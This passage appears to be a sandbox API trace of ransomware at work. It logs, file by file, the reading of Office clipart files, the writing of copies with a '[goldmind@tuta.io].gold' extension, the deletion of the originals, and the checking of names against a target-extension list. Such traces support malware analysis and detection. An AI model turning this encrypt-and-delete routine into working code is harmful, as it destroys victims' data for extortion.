hFile=0x3a4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.409] SetEndOfFile (hFile=0x3a4) returned 1 [0094.409] CloseHandle (hObject=0x3a4) returned 1 [0094.409] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0094.409] SetEndOfFile (hFile=0x190) returned 1 [0094.411] CloseHandle (hObject=0x190) returned 1 [0094.411] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.411] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf")) returned 1 [0094.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0094.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0094.412] lstrlenW (lpString=".doc") returned 4 [0094.412] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.412] lstrlenW (lpString=".docx") returned 5 [0094.412] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.412] lstrlenW (lpString=".pdf") returned 4 [0094.412] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.412] lstrlenW (lpString=".xls") returned 4 [0094.412] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.412] lstrlenW (lpString=".xlsx") returned 5 [0094.412] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.412] lstrlenW (lpString=".ppt") returned 4 [0094.412] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0094.412] lstrlenW (lpString=".zip") returned 4 [0094.412] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.412] lstrlenW (lpString=".rar") returned 4 [0094.412] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.412] lstrlenW (lpString=".bz2") returned 4 [0094.412] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.412] lstrlenW (lpString=".7z") returned 3 [0094.412] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0094.412] lstrlenW (lpString=".dbf") returned 4 [0094.412] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0094.412] lstrlenW (lpString=".1cd") returned 4 [0094.412] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0094.412] lstrlenW (lpString=".jpg") returned 4 [0094.412] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0094.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0094.413] lstrlenW (lpString=".doc") returned 4 [0094.413] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.413] lstrlenW (lpString=".docx") returned 5 [0094.413] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.413] lstrlenW (lpString=".pdf") returned 4 [0094.413] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.413] lstrlenW (lpString=".xls") returned 4 [0094.413] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.413] lstrlenW (lpString=".xlsx") returned 5 [0094.413] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.413] lstrlenW (lpString=".ppt") returned 4 [0094.413] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0094.413] lstrlenW (lpString=".zip") returned 4 [0094.413] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.413] lstrlenW (lpString=".rar") returned 4 [0094.413] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.413] lstrlenW (lpString=".bz2") returned 4 [0094.413] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.413] lstrlenW (lpString=".7z") returned 3 [0094.413] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0094.413] lstrlenW (lpString=".dbf") returned 4 [0094.413] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0094.413] lstrlenW (lpString=".1cd") returned 4 [0094.413] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0094.413] lstrlenW (lpString=".jpg") returned 4 [0094.413] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.413] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0094.413] lstrlenW (lpString="DD01169_.WMF") returned 12 [0094.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0094.414] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=2020) returned 1 [0094.414] CloseHandle (hObject=0x190) returned 1 [0094.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf")) returned 0x20 [0094.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0094.415] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0094.415] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0094.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0094.415] GetLastError () returned 0x0 [0094.415] ReadFile (in: hFile=0x190, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x7e4, lpOverlapped=0x0) returned 1 [0094.416] WriteFile (in: hFile=0x3a4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x7f0, lpOverlapped=0x0) returned 1 [0094.417] ReadFile (in: hFile=0x190, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0094.417] WriteFile (in: hFile=0x3a4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.417] SetEndOfFile (hFile=0x3a4) returned 1 [0094.417] CloseHandle (hObject=0x3a4) returned 1 [0094.417] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0094.417] SetEndOfFile (hFile=0x190) returned 1 [0094.419] CloseHandle (hObject=0x190) returned 1 [0094.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.419] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf")) returned 1 [0094.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0094.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0094.419] lstrlenW (lpString=".doc") returned 4 [0094.419] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.420] lstrlenW (lpString=".docx") returned 5 [0094.420] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.420] lstrlenW (lpString=".pdf") returned 4 [0094.420] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.420] lstrlenW (lpString=".xls") returned 4 [0094.420] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.420] lstrlenW (lpString=".xlsx") returned 5 [0094.420] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.420] lstrlenW (lpString=".ppt") returned 4 [0094.420] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0094.420] lstrlenW (lpString=".zip") returned 4 [0094.420] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.420] lstrlenW (lpString=".rar") returned 4 [0094.420] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.420] lstrlenW (lpString=".bz2") returned 4 [0094.420] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.420] lstrlenW (lpString=".7z") returned 3 [0094.420] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0094.420] lstrlenW (lpString=".dbf") returned 4 [0094.420] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0094.420] lstrlenW (lpString=".1cd") returned 4 [0094.420] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0094.420] lstrlenW (lpString=".jpg") returned 4 [0094.420] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0094.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0094.420] lstrlenW (lpString=".doc") returned 4 [0094.420] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.420] lstrlenW (lpString=".docx") returned 5 [0094.420] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.420] lstrlenW (lpString=".pdf") returned 4 [0094.420] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.420] lstrlenW (lpString=".xls") returned 4 [0094.420] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.421] lstrlenW (lpString=".xlsx") returned 5 [0094.421] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.421] lstrlenW (lpString=".ppt") returned 4 [0094.421] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0094.421] lstrlenW (lpString=".zip") returned 4 [0094.421] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.421] lstrlenW (lpString=".rar") returned 4 [0094.421] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.421] lstrlenW (lpString=".bz2") returned 4 [0094.421] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.421] lstrlenW (lpString=".7z") returned 3 [0094.421] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0094.421] lstrlenW (lpString=".dbf") returned 4 [0094.421] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0094.421] lstrlenW (lpString=".1cd") returned 4 [0094.421] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0094.421] lstrlenW (lpString=".jpg") returned 4 [0094.421] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.421] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0094.421] lstrlenW (lpString="DD01170_.WMF") returned 12 [0094.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0094.422] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=2404) returned 1 [0094.422] CloseHandle (hObject=0x190) returned 1 [0094.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf")) returned 0x20 [0094.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0094.422] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0094.422] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0094.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0094.422] GetLastError () returned 0x0 [0094.422] ReadFile (in: hFile=0x190, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x964, lpOverlapped=0x0) returned 1 [0094.806] WriteFile (in: hFile=0x3a4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x970, lpOverlapped=0x0) returned 1 [0094.807] ReadFile (in: hFile=0x190, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0094.807] WriteFile (in: hFile=0x3a4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.807] SetEndOfFile (hFile=0x3a4) returned 1 [0094.807] CloseHandle (hObject=0x3a4) returned 1 [0094.807] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0094.807] SetEndOfFile (hFile=0x190) returned 1 [0094.809] CloseHandle (hObject=0x190) returned 1 [0094.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.847] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf")) returned 1 [0094.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0094.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0094.847] lstrlenW (lpString=".doc") returned 4 [0094.847] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.848] lstrlenW (lpString=".docx") returned 5 [0094.848] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.848] lstrlenW (lpString=".pdf") returned 4 [0094.848] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.848] lstrlenW (lpString=".xls") returned 4 [0094.848] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.848] lstrlenW (lpString=".xlsx") returned 5 [0094.848] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.848] lstrlenW (lpString=".ppt") returned 4 [0094.848] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0094.848] lstrlenW (lpString=".zip") returned 4 [0094.848] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.848] lstrlenW (lpString=".rar") returned 4 [0094.848] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.848] lstrlenW (lpString=".bz2") returned 4 [0094.848] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.848] lstrlenW (lpString=".7z") returned 3 [0094.848] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0094.848] lstrlenW (lpString=".dbf") returned 4 [0094.848] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0094.848] lstrlenW (lpString=".1cd") returned 4 [0094.848] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0094.848] lstrlenW (lpString=".jpg") returned 4 [0094.848] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0094.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0094.848] lstrlenW (lpString=".doc") returned 4 [0094.848] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.848] lstrlenW (lpString=".docx") returned 5 [0094.848] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.848] lstrlenW (lpString=".pdf") returned 4 [0094.848] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.848] lstrlenW (lpString=".xls") returned 4 [0094.848] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.848] lstrlenW (lpString=".xlsx") returned 5 [0094.848] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.848] lstrlenW (lpString=".ppt") returned 4 [0094.848] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0094.848] lstrlenW (lpString=".zip") returned 4 [0094.848] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.848] lstrlenW (lpString=".rar") returned 4 [0094.848] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.849] lstrlenW (lpString=".bz2") returned 4 [0094.849] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.849] lstrlenW (lpString=".7z") returned 3 [0094.849] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0094.849] lstrlenW (lpString=".dbf") returned 4 [0094.849] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0094.849] lstrlenW (lpString=".1cd") returned 4 [0094.849] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0094.849] lstrlenW (lpString=".jpg") returned 4 [0094.849] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.849] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0094.849] lstrlenW (lpString="DD01585_.WMF") returned 12 [0094.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0094.849] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=2524) returned 1 [0094.849] CloseHandle (hObject=0x33c) returned 1 [0094.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf")) returned 0x20 [0094.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0094.850] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0094.850] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0094.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0094.850] GetLastError () returned 0x0 [0094.850] ReadFile (in: hFile=0x33c, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x9dc, lpOverlapped=0x0) returned 1 [0094.884] WriteFile (in: hFile=0x394, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x9e0, lpOverlapped=0x0) returned 1 [0094.885] ReadFile (in: hFile=0x33c, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0094.885] WriteFile (in: hFile=0x394, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.885] SetEndOfFile (hFile=0x394) returned 1 [0094.885] CloseHandle (hObject=0x394) returned 1 [0094.885] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0094.885] SetEndOfFile (hFile=0x33c) returned 1 [0094.887] CloseHandle (hObject=0x33c) returned 1 [0094.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.887] 